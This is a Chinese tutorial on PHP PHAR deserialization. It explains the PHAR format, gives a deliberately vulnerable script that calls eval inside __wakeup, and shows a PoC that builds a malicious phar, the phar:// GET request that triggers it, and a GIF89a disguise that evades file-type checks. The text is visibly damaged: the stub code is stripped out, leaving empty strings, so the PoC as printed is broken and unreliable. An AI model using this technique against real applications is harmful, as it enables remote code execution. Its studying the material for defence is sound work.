PHAR,全称PHP Archive,是一种将PHP代码和资源打包成一个自包含的文件的格式。这种文件格式可以将PHP代码文件和其他资源集合在一起,实现应用程序、库或插件的分发。在PHP中,Phar广泛应用于打包应用程序、库或插件,使得它们能在不同的环境中部署和共享变得轻松。
PHAR文件是一种PHP应用程序的打包格式,它将多个文件和资源集合到一个文件中,以方便移动和安装。其文件结构主要由四部分组成:stub、manifest、文件内容和签名。
Stub: 它是phar文件的开头部分,可以包含一些自定义的PHP代码。Stub的基本结构是"
Manifest: 它包含了压缩文件的权限、属性以及序列化形式存储的用户自定义元数据等信息。Manifest是攻击的主要部分,因为解析Phar时会对元数据进行反序列化操作。
文件内容: 这一部分包含了实际的文件内容,比如脚本、图片等。
签名: 用于验证Phar文件的完整性和真实性。
PHAR反序列化漏洞是一种基于PHP的反序列化漏洞。在一般情况下,反序列化漏洞通常是由于将序列化后的字符串传入unserialize()函数中产生的。
然而,PHP 5.3.3及更早版本的phar文件格式存在一个特性,即会以序列化的形式存储用户自定义的meta-data。
当phar文件在文件系统函数(如file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,攻击者有可能不依赖unserialize()函数直接进行反序列化操作。这种特性扩展了php反序列化漏洞的攻击面,使得攻击难度相对较低。因此,对phar反序列化漏洞的理解和防范显得尤为重要。
漏洞脚本:
class User {
var $name;
function __wakeup(){
@eval($this->name);
}
}
$filename = $_GET['filename'];
file_exists($filename);
class User{
var $name;
// 通过构造方法修改属性值
function __construct() {
$this->name = 'phpinfo();';
}
}
// 删除之前的phar
@unlink("test.phar");
// 创建phar文件
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("");
// 序列化对象到phar文件中
$o = new User();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "content");
$phar->stopBuffering();
执行poc后生成test.phar文件.
发送GET请求:
?filename=phar://test.phar/test.txt
后端的file_exists()
函数会触发phar文件的反序列化操作, 自动执行__wakeup()
方法.
后端可能对伪协议加载的文件类型进行检测, 通过文件头信息检测文件的类型.
php解析phar文件是通过文件头stub中的""代码, 在前后添加字符不影响解析.
那么编写poc时可以在开头添加一段信息伪装成其他类型的文件, 比如GIF图片GIF89a
:
$phar->setStub("GIF89a");
然后将生成的phar文件修改后缀名为 test.gif, 再利用:
?filename=phar://test.gif/test.txt